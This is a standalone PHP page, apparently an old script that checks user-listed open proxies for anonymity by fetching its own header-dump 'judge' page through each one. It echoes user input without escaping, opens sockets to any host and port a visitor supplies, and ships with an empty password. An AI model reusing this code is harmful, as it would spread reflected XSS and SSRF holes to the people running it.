PHP: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><title>Online proxy tester</title></head> <body bgcolor="black" text="white"> <?php // Ensure that the timeouts from fsockopen don't get reported as errors (possible, depends on the php server config) error_reporting(0); // Limit the amount of proxies that can be tested at any one time $maximum_proxies_to_test = 5; // Enter a password (if required) to protect the page $password = ''; // Actual proxyjudge part of the page function return_env_variables() { echo '<pre>'."\n"; foreach ($_SERVER as $header => $value ) { if ((strpos($header , 'REMOTE')!== false || strpos($header , 'HTTP')!== false || strpos($header , 'REQUEST')!== false) && ( strpos($header , 'HTTP_HOST') !== 0)) { echo $header.' = '.$value."\n"; } } echo '</pre>'; } // Function to go away and get the page (calls through the proxy back to itself) function get_judge_page($proxy) { // Depending on the server environment, this timeout setting may not be available. $timeout = 15; $proxy_cont = ''; list($proxy_host, $proxy_port) = explode(":", $proxy); $proxy_fp = fsockopen($proxy_host, $proxy_port, $errornumber, $errorstring, $timeout); if ($proxy_fp) { stream_set_timeout($proxy_fp, $timeout); fputs($proxy_fp, "GET " . $_SERVER['SCRIPT_NAME'] . "?test HTTP/1.0\r\nHost: " . $_SERVER['SERVER_NAME'] . "\r\n\r\n"); while(!feof($proxy_fp)) { $proxy_cont .= fread($proxy_fp,4096); } fclose($proxy_fp); $proxy_cont = substr($proxy_cont, strpos($proxy_cont,"\r\n\r\n")+4); } return $proxy_cont; } // Check for the control string to see if it's a valid fetch of the judge function check_valid_judge_response($page) { if(strlen($page) < 5) return false; return strpos($page, 'REMOTE_ADDR') !== false; } // Check for the IP addresses function check_anonymity($page) { if(strpos($page, $_SERVER['LOCAL_ADDR']) !== false) return false; return true; } // Takes and tests a proxy // 0 - Bad proxy // 1 - Good (non anon) proxy // 2 - Good (anonymous) proxy function test_proxy($proxy) { $page = get_judge_page($proxy); if(!check_valid_judge_response($page)) return 0; if(!check_anonymity($page)) return 1; return 2; } ////////// Main Page //////////// // If this is a judge request, just return the environmental variables if(getenv('QUERY_STRING') == "test") { return_env_variables(); } // Else check whether we have been passed a list of proxies to test or not // Should really use $_POST but it's been left as $HTTP_POST_VARS for older versions of php (3.x) elseif( (isset($HTTP_POST_VARS['action']) && $HTTP_POST_VARS['action'] === 'fred') && (isset($HTTP_POST_VARS['proxies']) && $HTTP_POST_VARS['proxies'] != '') && ( (strlen($password) == 0) || (isset($HTTP_POST_VARS['password']) && $HTTP_POST_VARS['password'] === $password) )) { $proxies = explode("\n", str_replace("\r", "", $HTTP_POST_VARS['proxies']), $maximum_proxies_to_test + 1); // Set the overall time limit for the page execution to 10 mins set_time_limit(600); // Set up some arrays to hold the results $anon_proxies = array(); $nonanon_proxies = array(); $bad_proxies = array(); // Loop through and test the proxies for($thisproxy = 0; $thisproxy < ($maximum_proxies_to_test > count($proxies) ? count($proxies) : $maximum_proxies_to_test); $thisproxy += 1) { echo 'Testing ' . $proxies[$thisproxy] . ' .....'; flush(); switch(test_proxy($proxies[$thisproxy])) { case 2: echo '.. Anon' . "\n"; $anon_proxies[count($anon_proxies)] = $proxies[$thisproxy]; break; case 1: echo '.. Non anon' . "\n"; $nonanon_proxies[count($nonanon_proxies)] = $proxies[$thisproxy]; break; case 0: echo '.. Dead' . "\n"; $bad_proxies[count($bad_proxies)] = $proxies[$thisproxy]; break; } } echo '<pre>'; echo 'Anonymous proxies' . "\n"; for($thisproxy = 0; $thisproxy < count($anon_proxies); $thisproxy += 1) echo $anon_proxies[$thisproxy] . "\n"; echo 'Non-anonymous proxies' . "\n"; for($thisproxy = 0; $thisproxy < count($nonanon_proxies); $thisproxy += 1) echo $nonanon_proxies[$thisproxy] . "\n"; echo 'Dead proxies' . "\n"; for($thisproxy = 0; $thisproxy < count($bad_proxies); $thisproxy += 1) echo $bad_proxies[$thisproxy] . "\n"; echo '</pre>'; } // Just a blank call of the page - show the form for the user to fill in else { echo '<h2>Online Proxy checker</h2>' . "\n"; echo '<h4>(http://' . $_SERVER['SERVER_NAME'] . $_SERVER['SCRIPT_NAME'] . ')</h4>' . "\n"; echo 'Enter up to a maximum of ' . $maximum_proxies_to_test . ' prox' . ($maximum_proxies_to_test == 1 ? 'y' : 'ies') . ' to test' . "\n"; echo '<form method="POST" action="' . $_SERVER['SCRIPT_NAME'] . '">' . "\n"; echo '<input type="hidden" name="action" value="fred">' . "\n"; echo '<textarea name="proxies" cols=35 rows=' . $maximum_proxies_to_test . '></textarea> ' . "\n"; if(strlen($password) > 0) echo 'Password: <input type="password" name="password" size="15"> ' . "\n"; echo '<input type="submit" value="Check proxies">' . "\n"; echo '</form>' . "\n"; } ?> </body> </html>